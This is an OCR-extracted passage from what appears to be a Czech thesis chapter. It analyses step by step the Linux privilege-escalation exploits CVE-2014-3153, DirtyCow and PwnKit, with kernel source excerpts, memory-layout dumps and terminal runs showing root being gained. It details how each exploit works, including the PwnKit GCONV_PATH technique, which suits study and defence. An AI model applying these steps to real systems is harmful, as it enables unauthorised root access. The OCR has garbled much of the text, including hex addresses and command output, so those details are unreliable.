v y t v o ř e n o v lákno , k t e r é se pokus í o u z a m č e n í P I z á m k u . P ř i tomto pokusu je v ložena dalš í 
po ložka do seznamu čeka te lů , p ro tože P I z á m e k je v l a s t n ě n j i n ý m v l á k n e m . Stav seznamu 
čeka te lů je uveden na o b r á z k u 7.4. 

lock->wait list 

prio: 126 

node_list_prev: ffff8800209e3858 

node list next: ffff8800209a1d18 

prio_list_prev: ffff8800209a1d08 

prio_list_next: ffff8800209a1d08 

node list addr: ffff88003eb9fc80 

prio_list addr: ffff88003eb9fc70 

prio: 132 

node_list_prev: ffff88003eb9fc80 

node list next: ffff8800209e3858 

prio_list_prev: ffff88003eb9fc70 

prio_list_next: ffff88003eb9fc70 

node list addr: ffffSS00209a1 d18 

priojist addr: ffff8800209a1d08 

Ť 

O b r á z e k 7.4: D r u h ý s t a v s e z n a m u č e k a t e l ů 

U d á l o s t č . 5 

N a ř á d k u 581 je s t e jným z p ů s o b e m vložen dalš í čeka te l . Stav seznamu čeka te lů je uveden 
na o b r á z k u 7.5. 

f 
lock->wait list 

prio: 126 

node_list_prev: ffff8800209e3858 

node list next: fffT88003eb95c80 

prio_list_prev: fflf8800209a1d08 

prio_list_next: fflf88003eb95c70 

node list addr: ffff88003eb9fc80 

prioj ist addr: ffff88003eb9fc70 

prio: 127 

node_list_prev: ffff88003eb9fc80 

node list next: fflf8800209a1d18 

prio_list_prev: fflf88003eb9fc70 

prio_list_next: fflf8800209a1d08 

node list addr: fftf88003eb95c80 

prioj ist addr: fflf88003eb95c70 

± 

prio: 132 

nodeJist_prev: ffff88003eb95c80 

node list next: ffff8800209e3858 

prioJist_prev: fflf88003eb95c70 

prioJist_next: fflf88003eb9fc70 

node list addr: fftf8800209a1d18 

prioj ist addr: fflf8800209a1d08 

O b r á z e k 7.5: T ř e t í s t av s e z n a m u č e k a t e l ů 

U d á l o s t č . 6 

N a ř á d k u 583 je nastavena hodnota futex word na 0, což signalizuje, že je z á m e k volný. 
P ř i da l š ím p ře směrován í funkce futex_proxy_trylock_atomic uspě je a čekající v l á k n o bude 
probuzeno. 
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U d á l o s t č . 7 

N a ř á d k u 587 je opě t provedena operace FUTEX_CMP_REQUEUE_PI, k t e r á provede 
p ře směrován í v l á k n a z P I z á m k u na s te jný P I zámek , p ř i čemž je opě t vo l ána funkce fu-
tex_requeue. 

s t a t i c int futex_requeue(u32 user *uaddrl, unsigned int flags, 
u32 user *uaddr2, int nr_wake, int nr_requeue, 
u32 *cmpval, int requeue_pi) 

{ 

i f (requeue_pi && (task_count - nr_wake < nr_requeue)) { 
/* 
* Attempt to acquire uaddr2 and wake the top waiter. 
* If we intend to requeue waiters, force setting 
* the FUTEX_WAITERS b i t . We force this here 
* where we are able to easily handle 
* faults rather i n the requeue loop below. 
*/ 
ret = futex_proxy_trylock_atomic(uaddr2, hbl, hb2, &keyl, 

&key2, &pi_state, nr_requeue); 

Výpis 7.8: Č á s t f u n k c e futex requeue. P ř e v z a t o ze z d r o j e [3]. 

Funkce futex_proxy_trylock_atomic p rovád í kontrolu jestl i je p ř e směrován í p r o v á d ě n o 
na očekávaný zámek . P o d m í n k a je sp lněna , p ro tože p ř e směrován í p r o b í h á z P I z á m k u na 
s te jný P I z ámek . Dá le je vo lána funkce futex_lock_pi_atomic a v p ř í p a d ě , že je z á m e k 
získán, je prbuzen čeka te l s nejvyšší priori tou. 

s t a t i c int futex_proxy_trylock_atomic(u32 user *pifutex, 
struct futex_hash_bucket *hbl, 
struct futex_hash_bucket *hb2, 
union futex_key *keyl, union futex_key *key2, 
struct futex_pi_state **ps, int set_waiters) 

{ 

/* Ensure we requeue to the expected futex. */ 
i f (!match_futex(top_waiter->requeue_pi_key, key2)) 

return -EINVAL; 

/* 
* Try to take the lock for top_waiter. Set the 
* FUTEX_WAITERS b i t i n the contended case or 
* i f set_waiters i s 1. The pi_state i s returned 
* i n ps i n contended cases. 
*/ 
ret = futex_lock_pi_atomic(pifutex, hb2, key2, ps, top_waiter->task, 

set_waiters); 
i f (ret == 1) 

requeue_pi_wake_futex(top_waiter, key2, hb2); 
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Výpis 7.9: Č á s t f u n k c e futex proxy trylock atomic. P ř e v z a t o ze z d r o j e [3]. 

Funkce futex_lock_pi_atomic uspě je př i z í skání z á m k u , p ro tože jsme na ř á d k u 583 
nastavili hodnotu futex word na 0 a je tedy probuzen čeka te l s nejvyšší pr ior i tou. T í m t o 
čeka t e l em je ve sku t ečnos t i v l ákno , k t e r é zača lo čeka t na non-PI z á m k u a nás l edně bylo 
p ř e směrováno na P I zámek . Funkce requeue_pi_wake_^futex n a s t a v í p r o m ě n n o u rt_waiter 
na N U L L , č ímž signalizuje funkci futex_wait_requeue_pi ú s p ě š n é z ískání z á m k u . 

s t a t i c i n l i n e 
void requeue_pi_wake_futex(struct futex_ q * q , union futex_key *key, 

struct futex_hash_bucket *hb) 
{ 

q->rt_waiter = NULL; 

Výpis 7.10: Č á s t f u n k c e requeue pi wake futex. P ř e v z a t o ze z d r o j e [3]. 

U d á l o s t č . 8 

Po p r o b u z e n í p ř e s m ě r o v a n é h o v l á k n a je dokončeno p rováděn í funkce 
futex_wait_requeue_pi. 

s t a t i c int futex_wait_requeue_pi(u32 user *uaddr, unsigned int flags, 
u32 val, ktime_t *abs_time, u32 bits e t , 
u32 user *uaddr2) 

{ 

/* Check i f the requeue code acquired the second futex for us. */ 
i f ( !q.rt_waiter) { 

/* 
* Got t he lock. We might not be the anticipated owner i f we 
* did a lock-steal - f i x up the Pi-state i n that case. 
*/ 

} else { 

/* Removes the waiter from the w a i t _ l i s t . */ 
ret = rt_mutex_finish_proxy_lock(pi_mutex, to, 

&rt_waiter, 1); 

/ * Unqueue and drop the l o c k . * / 
unqueue_me_pi(&q); 

Výpis 7.11: Č á s t f u n k c e futex wait requeue pi. P ř e v z a t o ze z d r o j e [3]. 

P r o m ě n n á rt_waiter je nastavena na hodnotu N U L L , t a k ž e je p o n e c h á n a po ložka v 
seznamu čeka te lů . 
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U d á l o s t č . 9 

P o p r o b u z e n í čeka te le je na ř á d k u 540 provedeno sys témové volání sendmmsg, k t e r é m u je 
p ř e d á n o dř íve inicial izované pole z p r á v msgvec. Sys t émové volání dá le volá funkci 

sys_sendmsg jejíž lokální p r o m ě n n á iovstack č á s t ečně p ř e k r ý v á lokální p r o m ě n n o u 
rt_waiter ve funkci futex_wait_requeue_pi. T a p ř eds t avu j e po ložku v seznamu čeka te lů 
z á m k u a d íky zranitelnosti nebyla o d s t r a n ě n a . Z á p i s e m do pole iovstack m ů ž e m e nastavit 
její hodnoty. P ř e k r y t í je z n á z o r n ě n o na o b r á z k u 7.6. P r o v á d ě n í k ó d u v l á k n a je pozastaveno 
na s y s t é m o v é m volání sendmmsg, p ro tože z p r á v y nejsou př i j ímány. 

Oxffff8800209a1dOO 

list_entry.prio iov_base : OxbOOOOOOO 
(-1342177280) 

list_entry.prio_list.next i o v j e n : 0xc000400 

list_entry.prio_list.prev iov_base : 0xc000400 

list_entry.node_list.next i o v j e n : 0xc000400 

list_entry.node_list.prev iov_base : 0xc000400 

O b r á z e k 7.6: P ř e k r y t í l o k á l n í p r o m ě n n é rt waiter a l o k á l n í p r o m ě n n é iovstack 

U d á l o s t č . 10 

N a ř á d k u 610 je p r o s t ř e d n i c t v í m funkce create_thread_do_futex_lock_pi_with_priority 
vložena po ložka do seznamu čeka te lů s pr ior i tou 131. Stav seznamu čeka te lů je uveden na 
o b r á z k u 7.7. 
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t 
lock->wait_list -i 

prio: 126 

node_list_prev: ffff8800209e3858 

node list next: ffff88003eb95c80 

prio_list_prev: ffff8800209a1d08 

prio_list_next: ffff88003eb95c70 

node list addr: ffff88003eb9fc80 

priojist addr: ffff88003eb9fc70 

1 

prio: 127 

node_list_prev: ffff88003eb9fc80 

node list next: ŕrff8800209a1d18 

prio_list_prev: ffff88003eb9fc70 

prio_list_next: ffff8800209a1d08 

node list addr: ffff88003eb95c80 

priojist addr: ffff88003eb95c70 

prio: -1342177280 

node_list_prev: 000000000C000400 

node list next: 000000000C000400 -i 
prio_list_prev: 000000000c000400 

prio_list_next: 000000000c000400 

node list addr: rrff8800209a1d18 

priojist addr: ffff8800209a1d08 

prio: 129 

nodeJist_prev: 000000000C000470 

nodeJist_next: ffff880020a4bc80 

prioJist_prev: 000000000C000460 

prioJist_next: ffff880020a4bc70 

nodej ist addr: 000000000c000410 

priojist addr: 000000000C000400 

t 

prio:131 

nodeJist_prev: 000000000c000410 

nodeJist_next: 000000000C000470 

prioJist_prev: 000000000C000400 

prioJist_next: 000000000C000460 

nodejist addr: ffrf880020a4bc80 

priojist addr: frff880020a4bc70 

prio: 133 

nodeJist_prev: fflí880020a4bc80 

nodeJist_next: 000000000c000410 

prioJist_prev: frff880020a4bc70 

prioJist_next: 000000000C000400 

nodej ist addr: 000000000c000470 

priojist addr: 000000000C000460 

O b r á z e k 7.7: Č t v r t ý s t av s e z n a m u č e k a t e l ů 

Po ložka s pr ior i tou -1342177280 je součás t í lokální p r o m ě n n é rt_waiter, k t e r á se nacház í 
ve funkci futex_wait_requeue_pi. Hodnoty t é t o lokální p r o m ě n n é byly p ř p e s á n y lokální 
p r o m ě n n o u iovstack. Ukazatele v t é t o položce jsou nastaveny na adresu pole, k t e r é bylo 
a lokované na ř á d k u 674 p o m o c í funkce mmap. V tomto pol i jsou nás l edně p o m o c í funkce 
setup_waiter_params vy tvo řen i dva čekate lé . T y t o čeka te le reprezen tu j í po ložky s pr ior i tou 
129 a 133. 

U d á l o s t č . 11 

N a ř á d k u 611 je z po ložky s pr ior i tou 129 z í skána adresa na zá sobn íku s hodnotou Oxf-
fff880020a4bc70. 

U d á l o s t č . 12 

N a ř á d k u 612 je tato adresa p ř e v e d e n a na ukazatel na s t rukturu struct thread__info. 

U d á l o s t č . 13 

N a ř á d k u 613 je nastavena adresa ukazatele na p r o m ě n n o u addr_limit, k t e r á slouží pro 
omezení rozsahu už iva te l ského v i r t u á l n í h o ad resového prostoru. 

U d á l o s t č . 14 

N a ř á d k u 615 je p r o s t ř e d n i c t v í m funkce create_thread_do^futex_lock_pi_with_priority 
vložena po ložka do seznamu čeka te lů s pr ior i tou 131. P ř i vložení nového čeka te le je do 
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p r o m ě n n é addr_limit v ložena nová hodnota. Tato hodnota se nacház í i v položce s pr ior i tou 
133. Obsah t é t o po ložky je uveden na o b r á z k u 7.8. 

prio: 133 

node_list_prev: fřrř880020a4dc80 

node_ _list_next: 000000000c000410 

prio _list_prev: fffř880020a4bc70 

prio_ list_next: 000000000c000400 

node. Jist addr: 000000000c000470 

prio_ list addr: 000000000c000460 

O b r á z e k 7.8: P o l o ž k a s n o v o u h o d n o t o u addr limit 

V ukazateli node_ l i s t_prev je u ložena nová hodnota addr_limit 0xffff880020a4dc80. 

U d á l o s t č . 15 

N a ř á d k u 619 je provedena kontrola zjišťující jest l i je hodnota addr_limit větš í než ad
resa s t ruktury struct task_struct, aby bylo m o ž n é do t é t o s t ruktury zapisovat a t í m zvýši t 
op rávněn í . 

U d á l o s t č . 16 

N a ř á d k u 629 je provedeno zas lán í s igná lu SIGNALHACKKERNEL v l áknu thll 1, což 
vede k volání funkce kernel_hack_task. 

U d á l o s t č . 1 7 

Ve funkci set_parent_cred je do p r o m ě n n é addr_limit nastavena m a x i m á l n í m o ž n á hod
nota, což u m o ž n í zápis do celého v i r t u á l n í h o ad resového prostoru. Dá le je na zák l adě T I D 
z í skána s t ruktura struct task_struct. V t é t o s t r u k t u ř e je nalezena s t ruktura struct cred, 
k t e r á je ná s l edně p ř e d á n a funkci set_cred. Funkce set_cred n a s t a v í v l áknu o p r á v n ě n í root. 
Toto v l á k n o na ř á d k u 698 s p u s t í program b in /bash s o p r á v n ě n í m root. 

U d á l o s t č . 18 

Ve funkci kernel_hack_task je do p r o m ě n n é addr_limit nastavena m a x i m á l n í m o ž n á hod
nota, což u m o ž n í v l áknu thll 1 zapisovat do celého v i r t u á l n í h o adresového prostoru. 
V l á k n o nás l edně provede p o m o c í funkce fix__rt_mutex_waiter_list opravu seznamu čeka
te lů . 

U d á l o s t č . 19 

N a ř á d k u 642 je p o m o c í funkce fix_rt_mutex_waiter_list opravena s t ruktura seznamu 
čeka te lů . Stav seznamu čeka te lů po proveden í funkce je uveden na o b r á z k u 7.9. 
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lock->wait list 

prio: 126 

node_list_prev: ffff8800209e3858 

node list next: ffff88003eb95c80 

prio_list_prev: ffff88003eb95c70 

prio_list_next: ffff88003eb95c70 

node list addr: ffff88003eb9fc80 

prio_list addr: ffff88003eb9fc70 

t  

prio: 127 

node_list_prev: ffff88003eb9fc80 

node list next: ffff8800209e3858 

prio_list_prev: ffff88003eb9fc70 

prio_list_next: ffff88003eb9fc70 

node_list addr: ffff88003eb95c80 

prio_list addr: ffff88003eb95c70 

J 

O b r á z e k 7.9: O p r a v e n ý s e z n a m č e k a t e l ů . 

U d á l o s t č . 2 0 

N a ř á d k u 696 čeká rod ičovský proces ve smyčce dokud nebude hodnota jeho U I D rovna 0, 
což by znamenalo z ískání o p r á v n ě n í root. 

U d á l o s t č . 2 1 

N a ř á d k u 698 je p o m o c í funkce execl nahrazen a k t u á l n í proces procesem bin /bash , k t e r ý 
je s p u š t ě n s o p r á v n ě n í m root. 

7 .1 .2 P o u ž i t í e x p l o i t u 

S p u š t ě n í exploi tu je uvedeno na o b r á z k u 7.10. P ř e d s p u š t ě n í m exploi tu je provedeno ově
ření verze j á d r a a op rávněn í . Z hodnoty U I D je p a t r n é , že už iva te l spouš tě j íc í exploit m á 
o p r á v n ě n í user. Po s p u š t ě n í exploi tu jsou do t e r m i n á l u v y p s á n y informace o jeho p r ů b ě h u . 
Po dokončen í exploi tu je z í skáno o p r á v n ě n í root a hodnota U I D je rovna 0. 

[user@localhost Desktop]$ uname -msr 
Linux 3.10.Q-123.el7.x86_64 x86_64 
[user@localhost Desktop]$ i d 
uid=lQ00(usQr) gid=10OO(user) groups=160Q(ussr) context=unconfinsd_u:unconfinsd_r:uncon 
fined_t:s0-s6:c0.cl623 
[user@localhost Desktop]$ ./exploit-3537S 
CVE-2G14-3153 exp l o i t by Chen Kaiqu[kaiquchen@163.com) 
Press RETURN a f t e r one second... 
Checking whether ex p l o i t a b l e . .OK 
Seaching good magic . . . 
magicl=0xffff8800553Qdc70 magic2=0xffff880058d2fc8Q 
Good magic found 
Hacking. . . 
[root@localhost Desktop]* i d 
uid=G(root) gid=0(root) groups=Q(root},lQ90(user) context=unconfined_u:unconfined_r:unc 
onfined_t:sG-s0:c0.clQ23 
[rootglocalhost Desktop]* 

O b r á z e k 7.10: Ú s p ě š n é p o u ž i t í e x p l o i t u C V E - 2 0 1 4 - 3 1 5 3 
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7.2 Dir tyCow (CVE-2016-5195) 

Díky s o u b ě h u v souboru mm/gup .c a c h y b n é m u použ i t í funkce copy-on-write ( C O W ) je 
u m o ž n ě n zápis do p a m ě t i u r č e n é pouze pro č ten í . [13] 

Zneuž i te lné verze j á d r a jsou od verze 2.x až po verzi 4.x p ř e d verzí 4.8.3. 
H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.8. 

7 .2 .1 P o d r o b n á a n a l ý z a e x p l o i t u 

V t é t o kapitole je uvedena posloupnost udá los t í , k t e r é vedou k ú s p ě š n é m u záp isu ře tězce do 
souboru, ke k t e r é m u m á už iva te l spouš tě j íc í exploit pouze p rávo č ten í . Spolu s u d á l o s t m i 
jsou uvedeny i t eore t ické koncepty. Informace o t ěch to udá los t ech byly z í skány z v ý s t u p u 
SystemTap skr ip tu v př í loze D . Exp lo i t se nacház í v př í loze C . 

U d á l o s t č . 1 

Po o t ev řen í souboru v r ež imu pouze pro č t en í je p o m o c í sys t émového volání mmap je 
provedeno m a p o v á n í souboru do v i r t u á l n í h o ad resového prostoru (dále jen V A S ) procesu. 
[76] M a p o v á n í souboru je z n á z o r n ě n o na o b r á z k u 7.11. 

O b r á z e k 7.11: M a p o v á n í s o u b o r u p o m o c í m m a p . P ř e v z a t o ze z d r o j e [76] 

Sys témové volání mmap vrac í v i r t u á l n í adresu, na k t e r é bylo m a p o v á n í v y t v o ř e n o . Sou
bor by l o t e v ř e n pouze pro č ten í a m a p o v a n é s t r á n k y je tedy n u t n é označ i t t a k é pouze 
pro č ten í p o m o c í p ř í z n a k u P R O T R E A D . P ř í z n a k e m M A P P R I V A T E za j i s t íme copy-on-
write s é m a n t i k u . [12] 

Technika copy-on-write je n a p ř í k l a d využ ívána př i v y t v á ř e n í nového procesu. Rodičov
ský a synovský proces mohou sdí let s te jné s t r ánky . P ř i modifikaci je s t r á n k a zkopí rována 
a data jsou z a p s á n a až do kopie s t r ánky . N a o b r á z k u 7.12 jsou uvedeny dva procesy, k te ré 
sdílí s te jné s t r ánky . [40] 
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Fyzická paměť 

Proces A 

Stránka X 

Stránka Y 

Stránka Z 

O b r á z e k 7.12: S d í l e n í s t r á n e k m e z i p r o c e s y A a B . P ř e v z a t o ze z d r o j e [40] 

P ř i modifikaci s t r á n k y Z procesem A je s t r á n k a zkop í rována a nás l edně je provedena mo
difikace. Nemodif ikované s t r á n k y jsou dá le sdíleny. Stav po modifikaci s t r á n k y je zozbrazen 
na o b r á z k u 7.13. 

Fyzická paměť 

Proces A Proces B 

Stránka X 

Stránka Y 

Stránka Z 

Kopie stránky Z 

O b r á z e k 7.13: M o d i f i k a c e s t r á n k y Z p r o c e s e m A . P ř e v z a t o ze z d r o j e [40] 

U d á l o s t č . 2 

Vy tvořen í v l á k n a madviseTrhead a procselfmemThread. 

U d á l o s t č . 3 

Ve v l ákně procselfmemThread je o t ev řen pseudosoubor /p roc / se l f /mem. P o m o c í tohoto 
pseudosouboru je m o ž n é p ř i s t u p o v a t k V A S procesu. 

U d á l o s t č . 4 

P o m o c í funkce Iseek je nastaven ukazatel do souboru na p o č á t e č n í adresu m a p o v a n ý c h 
s t r á n e k souboru. [5] 

82 



U d á l o s t č . 5 

Volání funkce write vede na volání funkce mem_rw. P o m o c í funkce get_free_page je 
a lokována paměť u r č e n á pro v ý m ě n u dat mezi volaj ícím a c í lovým procesem. D o p a m ě t i 
cílového procesu p r o b í h á zápis . 

s t a t i c ssize_t mem_rw(struct f i l e * f i l e , char user *buf, 
size_t count, l o f f _ t *ppos, int write) 

{ 

page = (char *) get_free_page(GFP_TEMPORARY); 
i f (Ipage) 

return -ENOMEM; 

Výpis 7.12: Č á s t f u n k c e raera rw. P ř e v z a t o ze z d r o j e [3]. 

P o m o c í funkce copy_from_user jsou zkop í rována data z uživate lské vyrovnávac í p a m ě t i 
buf do v ý m ě n n é p a m ě t i . 

s t a t i c ssize_t mem_rw(struct f i l e * f i l e , char user *buf, 
size_t count, l o f f _ t *ppos, int write) 

{ 

i f (write && copy_from_user(page, buf, this_len)) { 
copied = -EFAULT; 
break; 

} 

Výpis 7.13: Č á s t f u n k c e raera rw. P ř e v z a t o ze z d r o j e [3]. 

U d á l o s t č . 6 

Funkce access_remote_vm s louží pro zápis dat do V A S cílového procesu a dá le volá funkci 
get_user_pages, k t e r á slouží pro na lezen í a p ř ipo jen í s t r á n e k cílového procesu do V A S 

j á d r a . 

U d á l o s t č . 7 

Funkce get_user_pages p ř i j ímá p ř í z n a k y gup_fiags. T y t o p ř í z n a k y obsahuj í informace 
o tom, p r o č a j a k ý m z p ů s o b e m chce proces p ř i s t u p o v a t ke s t r á n k á m cílového procesu nebo 
je naopak z ískat . 

U d á l o s t č . 8 

Funkce follow_page_mask provede pokus o na lezen í s t r á n k y ve V A S cílového procesu na 
adrese start s p ř í z n a k y foll_Jiags. 

long get_user_pages(struct task_struct *tsk, struct mm_struct *mm, 
unsigned long start, unsigned long nr_pages, 
unsigned int gup_flags, struct page **pages, 
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struct vm_area_struct **vmas, int *nonblocking) 
{ 

while (!(page = follow_page_mask(vma, start, 
f o l l _ f l a g s , &page_mask))) { 

Výpis 7.14: Č á s t f u n k c e get user pages. P ř e v z a t o ze z d r o j e [3]. 

U d á l o s t č . 9 

S t r á n k a je z í skávána za úče lem záp isu , což je vy j ád řeno p ř í z n a k e m F O L L W R I T E ve 
foli_flags. S t r á n k a je ale u r č e n a pouze pro č ten í a funkce follow_page_mask v r á t í hodnotu 
N U L L . 

U d á l o s t č . 10 

Ve snaze z ískat s t r á n k u je vo lána funkce handle_mm_Jault z o d p o v ě d n á za řešení chyb 
s t r á n e k . M a p o v a n á oblast je u r č e n a pouze ke č t en í a handle_mm_J'ault vy tvo ř í p o m o c í 
funkce do_wp_page C O W (copy on write) s t r á n k u pro adresu, kam bude proveden zápis . 
V y t v o ř e n á s t r á n k a je o z n a č e n a jako s o u k r o m á a šp inavá . O d t u d tedy název exploi tu di r ty 
cow. 

U d á l o s t č . 11 

Ve funkci get_user_pages je d e t e k o v á n a operace C O W a z p ř í z n a k ů foll_Jiags je od
s t r a n ě n p ř í z n a k F O L L W R I T E , což z n a m e n á , že dalš í p ř í s t u p ke s t r á n c e bude proveden 
za úče lem č ten í . P o o d s t r a n ě n í p ř í z n a k u by funkce follow__page_mask p ř e d p o k l á d a l a , že 
se j e d n á o p ř í s t u p pouze ke č ten í a získala by nově v y t v o ř e n o u C O W s t r á n k u . P ř e d volá
n í m funkce follow_page_mask dojde k p ř e p n u t í kontextu a dojde k dlaš í udá los t i v j i n é m 
v lákně . O d s t r a n ě n í p ř í z n a k u je uvedeno ve výp i se 7.15. 

long get_user_pages(struct task_struct *tsk, struct mm_struct *mm, 
unsigned long start, unsigned long nr_pages, 
unsigned int gup_flags, struct page **pages, 
struct vm_area_struct **vmas, int *nonblocking) 

{ 

i f ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) 
f o l l _ f l a g s &= ~F0LL_WRITE; 

Výpis 7.15: Č á s t f u n k c e get user pages. P ř e v z a t o ze z d r o j e [3]. 

U d á l o s t č . 12 

Ve v l ákně madviseThread je vo lána funkce madvise s parametrem M A D V _ D O N T N E E D , 
což způsob í zahozen í nově v y t v o ř e n é C O W s t ránky . 
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U d á l o s t č . 13 

Nově v y t v o ř e n á C O W s t r á n k a nen í nalezena v p a m ě t i a funkce follow_page_mask opě t 
v r á t í hodnotu N U L L . 

U d á l o s t č . 14 

Funkce handle_mm__fault z íská s t r á n k u svázanou s m a p o v a n ý m pr iv i l egovaným souborem, 
p ro tože d íky o d s t r a n ě n é m u p ř í z n a k u F O L L W R I T E už se ne j edná o p ř í s t u p pro zápis . 

U d á l o s t č . 15 

Funkci follow_page_mask se p o d a ř í z ískat s t r á n k u a je d o k o n č e n a funkce get_user-
_pages. 

U d á l o s t č . 16 

Ve funkci access_remote_vm je proveden záp is do s t r á n k y svázané s p r iv i l egovaným sou
borem. 

s t a t i c int access_remote_vm(struct task_struct *tsk, 
struct mm_struct *mm, unsigned long addr, 
void *buf, int len, int write) 

{ 

maddr = kmap(page); 
i f (write) { 

copy_to_user_page(vma, page, addr, 
maddr + offset, buf, bytes); 

set_page_dirty_lock(page); 
} else { 

copy_from_user_page(vma, page, addr, 
buf, maddr + offset, bytes); 

} 

kunmap(page); 

Výpis 7.16: Č á s t f u n k c e access remote vra. P ř e v z a t o ze z d r o j e [3]. 

7 .2 .2 P o u ž i t í e x p l o i t u 

S p u š t ě n í exploi tu je uvedeno na o b r á z k u 7.14. P ř e d s p u š t ě n í m exploi tu je provedeno ověření 
verze j á d r a a o p r á v n ě n í . Z hodnoty U I D je p a t r n é , že už iva te l spouš tě j íc í exploit m á opráv
něn í user a soubor foo m ů ž e pouze číst . Po s p u š t ě n í exploi tu jsou do t e r m i n á l u v y p s á n y 
informace o jeho p r ů b ě h u . Po dokončen í k ó d u exploi tu je p ř í k a z e m cat ověřen ú s p ě š n ý 
zápis . 
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[userglocalhost d i r t y ] $ uname -msr 
Linux 3.1O.0-123.el7.x86_64 x86_64 
[userglocalhost d i r t y ] $ i d 
uid=1666(user) gid=1666(user) groups=1666(user] 
[userglocalhost d i r t y ] $ I s -lah too 
-r r-- 1 root root 19 May 6 11:03 foo 
[userglocalhost d i r t y ] $ cat foo 
t h i s i s not a test 
[userglocalhost d i r t y ] $ gcc -pthread dirtycOw.c -o dirtycGw 
[userglocalhost d i r t y ] $ ./dirtycQw foo [7106000066006000 
map 7f4e207bf660 

procselfmem 15660030 

madvise E 

[userglocalhost d i r t y ] $ cat foo 
m e e e e e e e o a e e e e e e s t 

[userglocalhost d i r t y ] $ 

O b r á z e k 7.14: Ú s p ě š n é p o u ž i t í e x p l o i t u C V E - 2 0 1 6 - 5 1 9 5 

7.3 P w n K i t (CVE-2021-4034) 

Zranitelnost se nacház í v nás t ro j i pkexec, k t e r ý umožňu je u ž i v a t e l ů m s p o u š t ě t p ř í kazy jako 
pr ivi legovaný už iva te l a je z p ů s o b e n a c h y b n ý m z p r a c o v á n í m p a r a m e t r ů programu, na zá
k ladě k t e r é h o jsou p r o m ě n n é p r o s t ř e d í i n t e r p r e t o v á n y jako př íkazy. Ú t o č n í k e m vy tvo řené 
p r o m ě n n é p r o s t ř e d í posky tu j í způsob , jak spustit l ibovolný kód . [13] 

Zran i t e lné verze n á s t r o j e pkexec jsou do verze 0.121 (k romě) . 
H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.8. 

7 .3 .1 P o d r o b n á a n a l ý z a e x p l o i t u 

V t é t o kapitole je uvedena posloupnost udá los t í , k t e r é vedou ke zvýšení o p r á v n ě n í na úroveň 
root. Exp lo i t je t v o ř e n soubory helper.c, expl.sh a fake_module.c v pří loze E . Skript expl.sh 
slouží ke s p u š t ě n í exploi tu. Soubor helper.c s p o u š t í program pkexec z p ů s o b e m , k t e r ý vede ke 
zvýšení op rávněn í . Soubor fake_module.c p ř eds t avu j e zdro jový kód knihovny, k t e r á zajist í 
zvýšení o p r á v n ě n í . Udá los t i v t é t o kapitole se vz tahu j í k s o u b o r ů m tvoř íc ím exploit a ke 
zdro jovému k ó d u programu pkexec. 

U d á l o s t č . 1 

Po s p u š t ě n í skr ip tu expl.sh je v y t v o ř e n a d r e s á ř s n á z v e m G C O N V _ P A T H = . . V ad re sá ř i 
G C O N V _ P A T H = . je v y t v o ř e n soubor fake_exe. Soubor fake_exe je označen jako spusti
telný. V ad resá ř i se skriptem expl.sh, je v y t v o ř e n a d r e s á ř fake_exe. 

U d á l o s t č . 2 

V ad resá ř i fake_exe je v v y t v o ř e n soubor gconv-modules, ve k t e r é m jsou uvedeny informace 
p o t ř e b n é pro p ř e v o d ře tězce ze zdrojové znakové sady na cílovou znakovou sadu. D o souboru 
je v ložen ře tězec 'module I N T E R N A L b a n a n a / / fake_module V vyjadřuj íc í , že p ř e v o d na 
znakovou sadu banana je proveden p o m o c í modulu fake_module. M o d u l je u m í s t ě n ve 
s te jné složce jako soubor gconv-modules. 
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U d á l o s t č . 3 

Program helper.c je pře ložen na spus t i t e lný soubor helper. K n i h o v n a fake_module.so je 
v y t v o ř e n a p ř e k l a d e m souboru fake_module.c. K n i h o v n a je u m í s t ě n a v ad resá ř i fake_exe. 

U d á l o s t č . 4 

Je s p u š t ě n program helper. Ve funkci main programu helper je s p u š t ě n program pkexec s 
p r á z d n ý m polem a r g u m e n t ů programu a s polem p r o m ě n n ý c h p ros t ř ed í . Pole p r o m ě n n ý c h 
p r o s t ř e d í a pole a r g u m e n t ů programu jsou př i volání funkce main u m í s t ě n a vedle sebe. Pole 
jsou zobrazena na o b r á z k u 7.15. 

NULL "fake_exe" "PATH=GCONV_PATH=." "SHELL=x" "CHARSET=banana" NULL 

argv[0] envp[0] envp[1] envp[2] envp[3] envp[4] 

O b r á z e k 7.15: Rozložení pole argv a envp při spuštění programu pkexec. 

U d á l o s t č . 5 

Je s p u š t ě n program pkexec. Ve výp i su 7.17 je uveden začá t ek funkce ma in programu pkexec. 
Pole argv neobsahuje ž á d n é ře tězce , t a k ž e v p r o m ě n n é argc je u ložena hodnota 0. N a ř á d k u 
534 je do p r o m ě n n é n v ložena hodnota 1 a p o d m í n k a n je menš í než argc nen í sp lněna , 
t a k ž e cyklus for nebude ani jednou proveden. N a ř á d k u 610 je zkopí rován ře tězec z pole 
argv na indexu n do p r o m ě n n é path. J e d n á se o č ten í mimo hranice pole a ve sku t ečnos t i je 
kopí rován ře tězec u ložen v pol i envp na indexu 0. D o p r o m ě n n é path je tedy zkopí rován ře tě 
zec fake_exe. P ř i s t a n d a r d n í m s p u š t ě n í programu pkexec by v p r o m ě n n é path byla u ložena 
cesta k programu, k t e r ý je s p o u š t ě n s p r á v y j i ného už iva te le . N a ř á d k u 629 je provedena 
kontrola, zda je p r v n í m znakem ře tězce lomí tko , což by znamenalo, že se j e d n á o a b s o l u t n í 
cestu k programu. P o k u d se ne j edná o a b s o l u t n í cestu, je na ř á d k u 632 zavo lána funkce 
g find program in path pro z ískání a b s o l u t n í cesty. Funkce p r o h l e d á a d r e s á ř e uvedené 
v p r o m ě n n é p r o s t ř e d í P A T H a nalezne spus t i t e lný soubor v ad resá ř i G C O N V _ P A T H = . . 
Tento a d r e s á ř by l vložen do p r o m ě n n é P A T H př i s p u š t ě n í programu. D o p r o m ě n n é s je 
uložen ře tězec G C O N V _ P A T H = . / f a k e _ e x e . Ře t ězec v p r o m ě n n é s je na ř á d k u 639 z a p s á n 
mimo hranice pole argv do pole envp na index 0. [77] 

435 main (int argc, char *argv[])) 
436 { 
437 ... 
534 for (n == 1; n < (guint) argc; n++) 
535 { 
536 ... 
568 > 
569 ... 
610 path = g_strdup(argv[n]); 
611 
629 i f (path[0] != '/') 
630 { 
631 ... 
632 s = g_find_program_in_path(path); 
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633 . . . 
639 argv[n] = path = s; 
640 > 

Výpis 7.17: Z a č á t e k f u n k c e main p r o g r a m u p k e x e c . P ř e v z a t o ze z d r o j e [77] 

